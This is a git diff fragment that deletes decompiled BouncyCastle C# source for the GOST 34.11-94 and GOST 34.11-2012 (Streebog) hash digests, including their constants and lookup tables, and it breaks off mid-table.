&& length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - while (length > xBuf.Length) - { - Array.Copy(input, inOff, xBuf, 0, xBuf.Length); - sumByteArray(xBuf); - processBlock(xBuf, 0); - inOff += xBuf.Length; - length -= xBuf.Length; - byteCount += (uint)xBuf.Length; - } - while (length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - } - - private byte[] P(byte[] input) - { - int num = 0; - for (int i = 0; i < 8; i++) - { - K[num++] = input[i]; - K[num++] = input[8 + i]; - K[num++] = input[16 + i]; - K[num++] = input[24 + i]; - } - return K; - } - - private byte[] A(byte[] input) - { - for (int i = 0; i < 8; i++) - { - a[i] = (byte)(input[i] ^ input[i + 8]); - } - Array.Copy(input, 8, input, 0, 24); - Array.Copy(a, 0, input, 24, 8); - return input; - } - - private void E(byte[] key, byte[] s, int sOff, byte[] input, int inOff) - { - cipher.Init(forEncryption: true, new KeyParameter(key)); - cipher.ProcessBlock(input, inOff, s, sOff); - } - - private void fw(byte[] input) - { - cpyBytesToShort(input, wS); - w_S[15] = (short)(wS[0] ^ wS[1] ^ wS[2] ^ wS[3] ^ wS[12] ^ wS[15]); - Array.Copy(wS, 1, w_S, 0, 15); - cpyShortToBytes(w_S, input); - } - - private void processBlock(byte[] input, int inOff) - { - Array.Copy(input, inOff, M, 0, 32); - H.CopyTo(U, 0); - M.CopyTo(V, 0); - for (int i = 0; i < 32; i++) - { - W[i] = (byte)(U[i] ^ V[i]); - } - E(P(W), S, 0, H, 0); - for (int j = 1; j < 4; j++) - { - byte[] array = A(U); - for (int k = 0; k < 32; k++) - { - U[k] = (byte)(array[k] ^ C[j][k]); - } - V = A(A(V)); - for (int l = 0; l < 32; l++) - { - W[l] = (byte)(U[l] ^ V[l]); - } - E(P(W), S, j * 8, H, j * 8); - } - for (int m = 0; m < 12; m++) - { - fw(S); - } - for (int n = 0; n < 32; n++) - { - S[n] ^= M[n]; - } - fw(S); - for (int num = 0; num < 32; num++) - { - S[num] = (byte)(H[num] ^ S[num]); - } - for (int num2 = 0; num2 < 61; num2++) - { - fw(S); - } - Array.Copy(S, 0, H, 0, H.Length); - } - - private void finish() - { - ulong n = byteCount * 8; - Pack.UInt64_To_LE(n, L); - while (xBufOff != 0) - { - Update(0); - } - processBlock(L, 0); - processBlock(Sum, 0); - } - - public int DoFinal(byte[] output, int outOff) - { - finish(); - H.CopyTo(output, outOff); - Reset(); - return 32; - } - - public void Reset() - { - byteCount = 0uL; - xBufOff = 0; - Array.Clear(H, 0, H.Length); - Array.Clear(L, 0, L.Length); - Array.Clear(M, 0, M.Length); - Array.Clear(C[1], 0, C[1].Length); - Array.Clear(C[3], 0, C[3].Length); - Array.Clear(Sum, 0, Sum.Length); - Array.Clear(xBuf, 0, xBuf.Length); - C2.CopyTo(C[2], 0); - } - - private void sumByteArray(byte[] input) - { - int num = 0; - for (int i = 0; i != Sum.Length; i++) - { - int num2 = (Sum[i] & 0xFF) + (input[i] & 0xFF) + num; - Sum[i] = (byte)num2; - num = num2 >> 8; - } - } - - private static void cpyBytesToShort(byte[] S, short[] wS) - { - for (int i = 0; i < S.Length / 2; i++) - { - wS[i] = (short)(((S[i * 2 + 1] << 8) & 0xFF00) | (S[i * 2] & 0xFF)); - } - } - - private static void cpyShortToBytes(short[] wS, byte[] S) - { - for (int i = 0; i < S.Length / 2; i++) - { - S[i * 2 + 1] = (byte)(wS[i] >> 8); - S[i * 2] = (byte)wS[i]; - } - } - - public int GetByteLength() - { - return 32; - } - - public IMemoable Copy() - { - return new Gost3411Digest(this); - } - - public void Reset(IMemoable other) - { - Gost3411Digest gost3411Digest = (Gost3411Digest)other; - sBox = gost3411Digest.sBox; - cipher.Init(forEncryption: true, new ParametersWithSBox(null, sBox)); - Reset(); - Array.Copy(gost3411Digest.H, 0, H, 0, gost3411Digest.H.Length); - Array.Copy(gost3411Digest.L, 0, L, 0, gost3411Digest.L.Length); - Array.Copy(gost3411Digest.M, 0, M, 0, gost3411Digest.M.Length); - Array.Copy(gost3411Digest.Sum, 0, Sum, 0, gost3411Digest.Sum.Length); - Array.Copy(gost3411Digest.C[1], 0, C[1], 0, gost3411Digest.C[1].Length); - Array.Copy(gost3411Digest.C[2], 0, C[2], 0, gost3411Digest.C[2].Length); - Array.Copy(gost3411Digest.C[3], 0, C[3], 0, gost3411Digest.C[3].Length); - Array.Copy(gost3411Digest.xBuf, 0, xBuf, 0, gost3411Digest.xBuf.Length); - xBufOff = gost3411Digest.xBufOff; - byteCount = gost3411Digest.byteCount; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012Digest.cs deleted file mode 100644 index 6c4b321..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411_2012Digest.cs +++ /dev/null @@ -1,722 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public abstract class Gost3411_2012Digest : IDigest, IMemoable -{ - private readonly byte[] IV = new byte[64]; - - private readonly byte[] N = new byte[64]; - - private readonly byte[] Sigma = new byte[64]; - - private readonly byte[] Ki = new byte[64]; - - private readonly byte[] m = new byte[64]; - - private readonly byte[] h = new byte[64]; - - private readonly byte[] tmp = new byte[64]; - - private readonly byte[] block = new byte[64]; - - private int bOff = 64; - - private static readonly byte[][] C = new byte[12][] - { - new byte[64] - { - 177, 8, 91, 218, 30, 202, 218, 233, 235, 203, - 47, 129, 192, 101, 124, 31, 47, 106, 118, 67, - 46, 69, 208, 22, 113, 78, 184, 141, 117, 133, - 196, 252, 75, 124, 224, 145, 146, 103, 105, 1, - 162, 66, 42, 8, 164, 96, 211, 21, 5, 118, - 116, 54, 204, 116, 77, 35, 221, 128, 101, 89, - 242, 166, 69, 7 - }, - new byte[64] - { - 111, 163, 181, 138, 169, 157, 47, 26, 79, 227, - 157, 70, 15, 112, 181, 215, 243, 254, 234, 114, - 10, 35, 43, 152, 97, 213, 94, 15, 22, 181, - 1, 49, 154, 181, 23, 107, 18, 214, 153, 88, - 92, 181, 97, 194, 219, 10, 167, 202, 85, 221, - 162, 27, 215, 203, 205, 86, 230, 121, 4, 112, - 33, 177, 155, 183 - }, - new byte[64] - { - 245, 116, 220, 172, 43, 206, 47, 199, 10, 57, - 252, 40, 106, 61, 132, 53, 6, 241, 94, 95, - 82, 156, 31, 139, 242, 234, 117, 20, 177, 41, - 123, 123, 211, 226, 15, 228, 144, 53, 158, 177, - 193, 201, 58, 55, 96, 98, 219, 9, 194, 182, - 244, 67, 134, 122, 219, 49, 153, 30, 150, 245, - 10, 186, 10, 178 - }, - new byte[64] - { - 239, 31, 223, 179, 232, 21, 102, 210, 249, 72, - 225, 160, 93, 113, 228, 221, 72, 142, 133, 126, - 51, 92, 60, 125, 157, 114, 28, 173, 104, 94, - 53, 63, 169, 215, 44, 130, 237, 3, 214, 117, - 216, 183, 19, 51, 147, 82, 3, 190, 52, 83, - 234, 161, 147, 232, 55, 241, 34, 12, 190, 188, - 132, 227, 209, 46 - }, - new byte[64] - { - 75, 234, 107, 172, 173, 71, 71, 153, 154, 63, - 65, 12, 108, 169, 35, 99, 127, 21, 28, 31, - 22, 134, 16, 74, 53, 158, 53, 215, 128, 15, - 255, 189, 191, 205, 23, 71, 37, 58, 245, 163, - 223, 255, 0, 183, 35, 39, 26, 22, 122, 86, - 162, 126, 169, 234, 99, 245, 96, 23, 88, 253, - 124, 108, 254, 87 - }, - new byte[64] - { - 174, 79, 174, 174, 29, 58, 211, 217, 111, 164, - 195, 59, 122, 48, 57, 192, 45, 102, 196, 249, - 81, 66, 164, 108, 24, 127, 154, 180, 154, 240, - 142, 198, 207, 250, 166, 183, 28, 154, 183, 180, - 10, 242, 31, 102, 194, 190, 198, 182, 191, 113, - 197, 114, 54, 144, 79, 53, 250, 104, 64, 122, - 70, 100, 125, 110 - }, - new byte[64] - { - 244, 199, 14, 22, 238, 170, 197, 236, 81, 172, - 134, 254, 191, 36, 9, 84, 57, 158, 198, 199, - 230, 191, 135, 201, 211, 71, 62, 51, 25, 122, - 147, 201, 9, 146, 171, 197, 45, 130, 44, 55, - 6, 71, 105, 131, 40, 74, 5, 4, 53, 23, - 69, 76, 162, 60, 74, 243, 136, 134, 86, 77, - 58, 20, 212, 147 - }, - new byte[64] - { - 155, 31, 91, 66, 77, 147, 201, 167, 3, 231, - 170, 2, 12, 110, 65, 65, 78, 183, 248, 113, - 156, 54, 222, 30, 137, 180, 68, 59, 77, 219, - 196, 154, 244, 137, 43, 203, 146, 155, 6, 144, - 105, 209, 141, 43, 209, 165, 196, 47, 54, 172, - 194, 53, 89, 81, 168, 217, 164, 127, 13, 212, - 191, 2, 231, 30 - }, - new byte[64] - { - 55, 143, 90, 84, 22, 49, 34, 155, 148, 76, - 154, 216, 236, 22, 95, 222, 58, 125, 58, 27, - 37, 137, 66, 36, 60, 217, 85, 183, 224, 13, - 9, 132, 128, 10, 68, 11, 219, 178, 206, 177, - 123, 43, 138, 154, 166, 7, 156, 84, 14, 56, - 220, 146, 203, 31, 42, 96, 114, 97, 68, 81, - 131, 35, 90, 219 - }, - new byte[64] - { - 171, 190, 222, 166, 128, 5, 111, 82, 56, 42, - 229, 72, 178, 228, 243, 243, 137, 65, 231, 28, - 255, 138, 120, 219, 31, 255, 225, 138, 27, 51, - 97, 3, 159, 231, 103, 2, 175, 105, 51, 75, - 122, 30, 108, 48, 59, 118, 82, 244, 54, 152, - 250, 209, 21, 59, 182, 195, 116, 180, 199, 251, - 152, 69, 156, 237 - }, - new byte[64] - { - 123, 205, 158, 208, 239, 200, 137, 251, 48, 2, - 198, 205, 99, 90, 254, 148, 216, 250, 107, 187, - 235, 171, 7, 97, 32, 1, 128, 33, 20, 132, - 102, 121, 138, 29, 113, 239, 234, 72, 185, 202, - 239, 186, 205, 29, 125, 71, 110, 152, 222, 162, - 89, 74, 192, 111, 216, 93, 107, 202, 164, 205, - 129, 243, 45, 27 - }, - new byte[64] - { - 55, 142, 231, 103, 241, 22, 49, 186, 210, 19, - 128, 176, 4, 73, 177, 122, 205, 164, 60, 50, - 188, 223, 29, 119, 248, 32, 18, 212, 48, 33, - 159, 155, 93, 128, 239, 157, 24, 145, 204, 134, - 231, 29, 164, 170, 136, 225, 40, 82, 250, 244, - 23, 213, 217, 178, 27, 153, 72, 188, 146, 74, - 241, 27, 215, 32 - } - }; - - private static readonly byte[] Zero; - - private static readonly ulong[][] T; - - public abstract string AlgorithmName { get; } - - protected Gost3411_2012Digest(byte[] IV) - { - Array.Copy(IV, this.IV, 64); - Array.Copy(IV, h, 64); - } - - public abstract IMemoable Copy(); - - public virtual int DoFinal(byte[] output, int outOff) - { - int num = 64 - bOff; - for (int i = 0; i != 64 - num; i++) - { - m[i] = 0; - } - m[63 - num] = 1; - if (bOff != 64) - { - Array.Copy(block, bOff, m, 64 - num, num); - } - g_N(h, N, m); - addMod512(N, num * 8); - addMod512(Sigma, m); - g_N(h, Zero, N); - g_N(h, Zero, Sigma); - reverse(h, tmp); - Array.Copy(tmp, 0, output, outOff, 64); - Reset(); - return 64; - } - - public int GetByteLength() - { - return 64; - } - - public abstract int GetDigestSize(); - - public void Reset() - { - bOff = 64; - Arrays.Fill(N, 0); - Arrays.Fill(Sigma, 0); - Array.Copy(IV, 0, h, 0, 64); - Arrays.Fill(block, 0); - } - - public void Reset(IMemoable other) - { - Gost3411_2012Digest gost3411_2012Digest = (Gost3411_2012Digest)other; - Array.Copy(gost3411_2012Digest.IV, 0, IV, 0, 64); - Array.Copy(gost3411_2012Digest.N, 0, N, 0, 64); - Array.Copy(gost3411_2012Digest.Sigma, 0, Sigma, 0, 64); - Array.Copy(gost3411_2012Digest.Ki, 0, Ki, 0, 64); - Array.Copy(gost3411_2012Digest.m, 0, m, 0, 64); - Array.Copy(gost3411_2012Digest.h, 0, h, 0, 64); - Array.Copy(gost3411_2012Digest.block, 0, block, 0, 64); - bOff = gost3411_2012Digest.bOff; - } - - public void Update(byte input) - { - block[--bOff] = input; - if (bOff == 0) - { - g_N(h, N, block); - addMod512(N, 512); - addMod512(Sigma, block); - bOff = 64; - } - } - - public void BlockUpdate(byte[] input, int inOff, int len) - { - while (bOff != 64 && len > 0) - { - Update(input[inOff++]); - len--; - } - while (len >= 64) - { - Array.Copy(input, inOff, tmp, 0, 64); - reverse(tmp, block); - g_N(h, N, block); - addMod512(N, 512); - addMod512(Sigma, block); - len -= 64; - inOff += 64; - } - while (len > 0) - { - Update(input[inOff++]); - len--; - } - } - - private void F(byte[] V) - { - ulong[] array = new ulong[8]; - ulong num = 0uL; - num ^= T[0][V[56] & 0xFF]; - num ^= T[1][V[48] & 0xFF]; - num ^= T[2][V[40] & 0xFF]; - num ^= T[3][V[32] & 0xFF]; - num ^= T[4][V[24] & 0xFF]; - num ^= T[5][V[16] & 0xFF]; - num ^= T[6][V[8] & 0xFF]; - num ^= T[7][V[0] & 0xFF]; - array[0] = num; - num = 0uL; - num ^= T[0][V[57] & 0xFF]; - num ^= T[1][V[49] & 0xFF]; - num ^= T[2][V[41] & 0xFF]; - num ^= T[3][V[33] & 0xFF]; - num ^= T[4][V[25] & 0xFF]; - num ^= T[5][V[17] & 0xFF]; - num ^= T[6][V[9] & 0xFF]; - num ^= T[7][V[1] & 0xFF]; - array[1] = num; - num = 0uL; - num ^= T[0][V[58] & 0xFF]; - num ^= T[1][V[50] & 0xFF]; - num ^= T[2][V[42] & 0xFF]; - num ^= T[3][V[34] & 0xFF]; - num ^= T[4][V[26] & 0xFF]; - num ^= T[5][V[18] & 0xFF]; - num ^= T[6][V[10] & 0xFF]; - num ^= T[7][V[2] & 0xFF]; - array[2] = num; - num = 0uL; - num ^= T[0][V[59] & 0xFF]; - num ^= T[1][V[51] & 0xFF]; - num ^= T[2][V[43] & 0xFF]; - num ^= T[3][V[35] & 0xFF]; - num ^= T[4][V[27] & 0xFF]; - num ^= T[5][V[19] & 0xFF]; - num ^= T[6][V[11] & 0xFF]; - num ^= T[7][V[3] & 0xFF]; - array[3] = num; - num = 0uL; - num ^= T[0][V[60] & 0xFF]; - num ^= T[1][V[52] & 0xFF]; - num ^= T[2][V[44] & 0xFF]; - num ^= T[3][V[36] & 0xFF]; - num ^= T[4][V[28] & 0xFF]; - num ^= T[5][V[20] & 0xFF]; - num ^= T[6][V[12] & 0xFF]; - num ^= T[7][V[4] & 0xFF]; - array[4] = num; - num = 0uL; - num ^= T[0][V[61] & 0xFF]; - num ^= T[1][V[53] & 0xFF]; - num ^= T[2][V[45] & 0xFF]; - num ^= T[3][V[37] & 0xFF]; - num ^= T[4][V[29] & 0xFF]; - num ^= T[5][V[21] & 0xFF]; - num ^= T[6][V[13] & 0xFF]; - num ^= T[7][V[5] & 0xFF]; - array[5] = num; - num = 0uL; - num ^= T[0][V[62] & 0xFF]; - num ^= T[1][V[54] & 0xFF]; - num ^= T[2][V[46] & 0xFF]; - num ^= T[3][V[38] & 0xFF]; - num ^= T[4][V[30] & 0xFF]; - num ^= T[5][V[22] & 0xFF]; - num ^= T[6][V[14] & 0xFF]; - num ^= T[7][V[6] & 0xFF]; - array[6] = num; - num = 0uL; - num ^= T[0][V[63] & 0xFF]; - num ^= T[1][V[55] & 0xFF]; - num ^= T[2][V[47] & 0xFF]; - num ^= T[3][V[39] & 0xFF]; - num ^= T[4][V[31] & 0xFF]; - num ^= T[5][V[23] & 0xFF]; - num ^= T[6][V[15] & 0xFF]; - num ^= T[7][V[7] & 0xFF]; - array[7] = num; - num = array[0]; - V[7] = (byte)(num >> 56); - V[6] = (byte)(num >> 48); - V[5] = (byte)(num >> 40); - V[4] = (byte)(num >> 32); - V[3] = (byte)(num >> 24); - V[2] = (byte)(num >> 16); - V[1] = (byte)(num >> 8); - V[0] = (byte)num; - num = array[1]; - V[15] = (byte)(num >> 56); - V[14] = (byte)(num >> 48); - V[13] = (byte)(num >> 40); - V[12] = (byte)(num >> 32); - V[11] = (byte)(num >> 24); - V[10] = (byte)(num >> 16); - V[9] = (byte)(num >> 8); - V[8] = (byte)num; - num = array[2]; - V[23] = (byte)(num >> 56); - V[22] = (byte)(num >> 48); - V[21] = (byte)(num >> 40); - V[20] = (byte)(num >> 32); - V[19] = (byte)(num >> 24); - V[18] = (byte)(num >> 16); - V[17] = (byte)(num >> 8); - V[16] = (byte)num; - num = array[3]; - V[31] = (byte)(num >> 56); - V[30] = (byte)(num >> 48); - V[29] = (byte)(num >> 40); - V[28] = (byte)(num >> 32); - V[27] = (byte)(num >> 24); - V[26] = (byte)(num >> 16); - V[25] = (byte)(num >> 8); - V[24] = (byte)num; - num = array[4]; - V[39] = (byte)(num >> 56); - V[38] = (byte)(num >> 48); - V[37] = (byte)(num >> 40); - V[36] = (byte)(num >> 32); - V[35] = (byte)(num >> 24); - V[34] = (byte)(num >> 16); - V[33] = (byte)(num >> 8); - V[32] = (byte)num; - num = array[5]; - V[47] = (byte)(num >> 56); - V[46] = (byte)(num >> 48); - V[45] = (byte)(num >> 40); - V[44] = (byte)(num >> 32); - V[43] = (byte)(num >> 24); - V[42] = (byte)(num >> 16); - V[41] = (byte)(num >> 8); - V[40] = (byte)num; - num = array[6]; - V[55] = (byte)(num >> 56); - V[54] = (byte)(num >> 48); - V[53] = (byte)(num >> 40); - V[52] = (byte)(num >> 32); - V[51] = (byte)(num >> 24); - V[50] = (byte)(num >> 16); - V[49] = (byte)(num >> 8); - V[48] = (byte)num; - num = array[7]; - V[63] = (byte)(num >> 56); - V[62] = (byte)(num >> 48); - V[61] = (byte)(num >> 40); - V[60] = (byte)(num >> 32); - V[59] = (byte)(num >> 24); - V[58] = (byte)(num >> 16); - V[57] = (byte)(num >> 8); - V[56] = (byte)num; - } - - private void xor512(byte[] A, byte[] B) - { - for (int i = 0; i < 64; i++) - { - byte[] array2; - byte[] array = (array2 = A); - int num = i; - nint num2 = num; - array[num] = (byte)(array2[num2] ^ B[i]); - } - } - - private void E(byte[] K, byte[] m) - { - Array.Copy(K, 0, Ki, 0, 64); - xor512(K, m); - F(K); - for (int i = 0; i < 11; i++) - { - xor512(Ki, C[i]); - F(Ki); - xor512(K, Ki); - F(K); - } - xor512(Ki, C[11]); - F(Ki); - xor512(K, Ki); - } - - private void g_N(byte[] h, byte[] N, byte[] m) - { - Array.Copy(h, 0, tmp, 0, 64); - xor512(h, N); - F(h); - E(h, m); - xor512(h, tmp); - xor512(h, m); - } - - private void addMod512(byte[] A, int num) - { - int num2 = (A[63] & 0xFF) + (num & 0xFF); - A[63] = (byte)num2; - num2 = (A[62] & 0xFF) + ((num >> 8) & 0xFF) + (num2 >> 8); - A[62] = (byte)num2; - int num3 = 61; - while (num3 >= 0 && num2 > 0) - { - num2 = (A[num3] & 0xFF) + (num2 >> 8); - A[num3] = (byte)num2; - num3--; - } - } - - private void addMod512(byte[] A, byte[] B) - { - int num = 0; - for (int num2 = 63; num2 >= 0; num2--) - { - num = (A[num2] & 0xFF) + (B[num2] & 0xFF) + (num >> 8); - A[num2] = (byte)num; - } - } - - private void reverse(byte[] src, byte[] dst) - { - int num = src.Length; - for (int i = 0; i < num; i++) - { - dst[num - 1 - i] = src[i]; - } - } - - static Gost3411_2012Digest() - { - byte[] zero = new byte[64]; - Zero = zero; - T = new ulong[8][] - { - new ulong[256] - { - 16643191358083899344uL, 2703135593145367062uL, 14432313314890392744uL, 6577092334268629354uL, 806964168861892974uL, 12383271304659295334uL, 17732807706536339062uL, 17716047611503416651uL, 5215999108449717233uL, 18400690592850740677uL, - 14664421492831770517uL, 7409386412115095689uL, 3849627103271945136uL, 8988319201874450849uL, 3938119337751376013uL, 11436513915861524438uL, 10023317675342802487uL, 11299449278894865675uL, 13550338097771745114uL, 16515794415152327917uL, - 14898690228356210642uL, 17039395261956034398uL, 13352261127337576221uL, 10097173395646645421uL, 8519831221648263471uL, 6380786457702773335uL, 4606327678483665726uL, 1135139788101916873uL, 17150000018454982019uL, 1220450159802546598uL, - 6759235690777098768uL, 5340123591806085420uL, 6034809048673841977uL, 13039342382114553097uL, 6896344311240562893uL, 16756255438728353529uL, 9184934662348565148uL, 14262951085445095100uL, 11989701146933847666uL, 3364644269219363704uL, - 989048157634869780uL, 9390583993925520772uL, 3387584785362250392uL, 6665082552186727408uL, 8806730920978768603uL, 9502751530347994212uL, 14947525897166917170uL, 9613964225661560606uL, 13062563757722791145uL, 13330165100546479869uL, - 2007762480278943944uL, 7071029175581714734uL, 18201297078263772920uL, 11348284945966902507uL, 5517131305049330262uL, 2524355749569298796uL, 3276936053954857029uL, 17613168268544492715uL, 13672639287818444474uL, 4227838725751020409uL, - 17337927304403721484uL, 2880731531503622347uL, 9899166798150700266uL, 1904883134495025448uL, 10431738646323369727uL, 4850405589464713887uL, 17844694253179975574uL, 2081972218582700626uL, 1379356218675464859uL, 11936901258434843983uL, - 3166351970529817407uL, 15521334050161542599uL, 12092580492986202002uL, 15771347623125549011uL, 9700811178911405091uL, 4095269026725968292uL, 7284836791436182452uL, 178206167350026973uL, 9859056374997736714uL, 10596801556360226242uL, - 5686309239594266763uL, 3626867272058218794uL, 4695292606739097666uL, 12861765287137887859uL, 7805587275216445447uL, 6553870956925915274uL, 2247080073069027695uL, 14085863101410174406uL, 4136504802722867268uL, 2992705483290644962uL, - 4655464135170259362uL, 16805373066242361113uL, 867873424238963700uL, 6139766898342725699uL, 5048711494641582808uL, 2360957084007330385uL, 7917754814463914471uL, 11594761360985693448uL, 8900603062938514235uL, 4819584321579539327uL, - 15611174550416907534uL, 14284208185211612545uL, 2409792751347803057uL, 7449496838093054313uL, 2608138101170875382uL, 15357211532675213082uL, 6775169570724432173uL, 2898833334747545602uL, 10370594140041967504uL, 1717647244194337596uL, - 16173369581285336234uL, 8669102231478190086uL, 7938185699155198682uL, 9733039751760463299uL, 3969222566346957165uL, 12457959604312733436uL, 9134972545477524348uL, 13884760396816717563uL, 18002934140551462591uL, 8321595681021526376uL, - 3740161260836255946uL, 12223660219698249403uL, 16465551444743798029uL, 10257300151532365424uL, 5892660270079857124uL, 2502541675832561804uL, 15642277772978588910uL, 3575476887658224151uL, 15246058200794700896uL, 669897467106812851uL, - 11238190422791214993uL, 14752624989210410255uL, 3809516679850545744uL, 5718256960103440747uL, 16113790886966425492uL, 2758712437335984427uL, 13819266239833930855uL, 15989664336639546697uL, 4334551115747581955uL, 10481700764928886559uL, - 7539375937215052192uL, 13153907711413100500uL, 1449546416188301313uL, 10970082038091293868uL, 7253733569142936148uL, 14035900984807568422uL, 4494160142329627358uL, 5797380680492875780uL, 5033684639528710629uL, 6942380200648117235uL, - 18135530224823884898uL, 11626709078934113512uL, 5452010138718157004uL, 646676091767009875uL, 13907700920084023067uL, 11458327989329825334uL, 471514214048988026uL, 17134674851811450558uL, 8614828720478738639uL, 3471190102295415799uL, - 10201460180741018957uL, 17898929444480167775uL, 16929928319467713572uL, 12279266611417189766uL, 11065079529797350732uL, 0uL, 17378882219737664748uL, 8143953700710785973uL, 12621352907304863169uL, 10952011996134456421uL, - 1847633384726895125uL, 10773808170632978104uL, 15876370350422262953uL, 10679936021821443928uL, 9235497396103343961uL, 14142057341829074780uL, 18022518333658336642uL, 17502585284089954257uL, 7698943044753169277uL, 5558086220651709366uL, - 273485755470967613uL, 16009504095842346612uL, 3045458228384031455uL, 8041346034719003450uL, 15324982954333320954uL, 13489933794196071872uL, 10831118253720235397uL, 16952024345057011140uL, 378507382706538567uL, 11825014717556671663uL, - 16409080926193522583uL, 9338657737701047993uL, 12581524441769923617uL, 17534533004330692145uL, 7175315966437357774uL, 5161723385538695992uL, 11755314076501405237uL, 8789995975362646502uL, 122301190315135456uL, 1339527752872090491uL, - 8500289773969701394uL, 15811458049371942451uL, 2206125151973814415uL, 5912507865751560921uL, 16287906185945826935uL, 18369869324697130021uL, 14569423993732859509uL, 7055674186596964883uL, 16666412735158177328uL, 3226973935617776037uL, - 1613642550683796188uL, 12110648323039866715uL, 2113919936262685618uL, 13204150689214484020uL, 15014857054700793693uL, 18241125550101047064uL, 6290905146667117214uL, 520631834711206554uL, 6090649271097153955uL, 6268809121346255742uL, - 13723986651981426055uL, 9011259725410191425uL, 4260067298331642521uL, 7571604515825379392uL, 12488780875022903068uL, 12805342026244830542uL, 4929679943725850629uL, 1562558313115120097uL, 8378270681804975090uL, 6431029428379739063uL, - 17272301201645698147uL, 7740178818457750173uL, 4437711457076851171uL, 11714359155137757141uL, 1735746844117158901uL, 1251271430781151302uL, 13440816173802288160uL, 15127024593679826621uL, 12684167292580488366uL, 9572728449396225790uL, - 8122139634094273109uL, 1040986648309745961uL, 356411355647007143uL, 756721191328944270uL, 5318878451677075985uL, 9992214447015657431uL, 14774439056095358191uL, 14554332407323555144uL, 10573861039948903458uL, 14378080326902922337uL, - 16267522719607272778uL, 15142897865499331968uL, 11116171328892012145uL, 12955918427198494611uL, 8272760012479254664uL, 15480098276725396519uL - }, - new ulong[256] - { - 14416488623970932190uL, 7346976492199675417uL, 17820627941079412291uL, 9627885164147495734uL, 6533467991705271684uL, 17998565102924987645uL, 11682290849618289423uL, 14822454089690596717uL, 9241203884170920837uL, 12861281897341358396uL, - 11016838668432197665uL, 13790417110750001176uL, 1151735774811599048uL, 12294974454994705048uL, 6942284815962019498uL, 17743186425950817333uL, 3304311495801540674uL, 13615607175011632002uL, 7559468737934159677uL, 12086978407351415740uL, - 2957424603572281991uL, 13249085212744581519uL, 15637041785948145051uL, 15490736964426020179uL, 15379540838187847369uL, 16875309257069950292uL, 8085181091649676441uL, 14854792058562395895uL, 18236790505793211960uL, 7642183762405766865uL, - 6618156441656008690uL, 14625287379506105394uL, 12725675947919526096uL, 6768646983239759067uL, 1229560361235927109uL, 2545497942825370364uL, 14198931498357636346uL, 8332055718082846467uL, 9018811952317763005uL, 4566156016530439069uL, - 9578872965805076800uL, 4447555131281990257uL, 1889868047608435272uL, 9132310989383824935uL, 8423405394594584156uL, 1791576812070341540uL, 895921998879640402uL, 14310611323784447840uL, 8686043850126826766uL, 18187216356076809294uL, - 3505479608743889749uL, 3164974344323824491uL, 15983355795994687326uL, 11065428791749044823uL, 1491256427646959862uL, 13524521346665040605uL, 5832729293860314623uL, 16778152971070057656uL, 5588041959860897512uL, 13969351553252232767uL, - 8960651507453538251uL, 3404044757246527918uL, 7427396029290209269uL, 1567782000193888896uL, 2125332809319160599uL, 15750446333599546881uL, 9762612037615848154uL, 14665011075415780932uL, 405965478745608371uL, 1334608620921465823uL, - 10283812314525356347uL, 6009835698019100261uL, 6362838478626120808uL, 15531164210339026725uL, 12192858250690617602uL, 10021977722754318728uL, 15045784853695487610uL, 5388605995385671607uL, 4789436484882904608uL, 8273825248612433269uL, - 6807803589745610561uL, 17643602969366402521uL, 10402470611175420342uL, 9487505662496421919uL, 13884311246691511369uL, 11599311963427125987uL, 11828896870259984422uL, 12530171073360712647uL, 12569865343065303133uL, 14159137227003829900uL, - 13058444037354018915uL, 447961557886364457uL, 11640371804876806293uL, 7989344413684106260uL, 7745519667033183399uL, 15284366481134480575uL, 16558308431455503772uL, 11775845520284565881uL, 5873227033075236745uL, 18442457284438988756uL, - 11331596615082596498uL, 2021362311995275617uL, 17399916748381652330uL, 11098401108231983565uL, 4652678544566382540uL, 1850721214614677970uL, 3779734978877634960uL, 16220639879209580377uL, 13354894618632655665uL, 10461614931578557376uL, - 1609153642657618202uL, 4480481336861891051uL, 9972894948967769086uL, 10111053643493542103uL, 4986581067319345023uL, 209097870346312172uL, 16170362179490862383uL, 13999482202363688357uL, 7798271984477724152uL, 7243570012128126063uL, - 15113725370733198348uL, 12902693100934476618uL, 9428713116562070121uL, 11255071236346149604uL, 18037622684799010663uL, 11445008741517796104uL, 13269290432258683207uL, 11202301361362088891uL, 14405433630425769238uL, 1180970181547717171uL, - 5176105366933055123uL, 7188535108749356336uL, 3071419591516346653uL, 8871593212975408788uL, 7377047836268559747uL, 745784333737205883uL, 523712867556149599uL, 3218003841565405748uL, 2276692251301888763uL, 4042724623974101698uL, - 6062869490421444410uL, 1668368207247227756uL, 18339543398465779106uL, 2916365256580759793uL, 17701763194650376111uL, 9835873103984114194uL, 6147487227497352524uL, 16084205907180383922uL, 347243151226876613uL, 6999741710823961820uL, - 2806071973676585551uL, 9658008234483460268uL, 17263250852726433255uL, 3821216675772636134uL, 16657742647079378032uL, 15229027975163028960uL, 16016335965578415300uL, 10572801009443498074uL, 17296932700355831580uL, 13696158890081409646uL, - 17554522822051683462uL, 5286400504730760237uL, 7609746906341231947uL, 15898737839338493224uL, 944934528471361828uL, 0uL, 6430778939292435998uL, 3336736409998420952uL, 7875361642996334478uL, 16600215533801848326uL, - 8821948844834997474uL, 12436686564748095921uL, 706136312374746081uL, 9940546931731077220uL, 8606606803205598662uL, 6252543065422558934uL, 258180561991695258uL, 3932361041049477244uL, 2228031909561065613uL, 3591083712976693539uL, - 8046871333151188578uL, 4829160237163942998uL, 12381352628294170862uL, 12610854471631768107uL, 4380598834454315015uL, 10649256363573758508uL, 14068055968846895059uL, 5548248045526197406uL, 12819864006535506598uL, 4026619618737144330uL, - 8789027980293848952uL, 5914590821894013971uL, 5201360692628199003uL, 1438508405363181993uL, 1047132165489660606uL, 5627682402975382898uL, 14753809747772696347uL, 1966322907280535614uL, 2694302999865518549uL, 2361664381868374374uL, - 13457635568901744811uL, 17504877959453114096uL, 9317025438026129907uL, 10808279102775697669uL, 6673472819996841645uL, 10887564197671041257uL, 13657089091486917108uL, 4917937056650714377uL, 17110791576323341323uL, 8472979738121466922uL, - 12991487546715896341uL, 10838903498911111839uL, 17212902440124499857uL, 3621785006072287929uL, 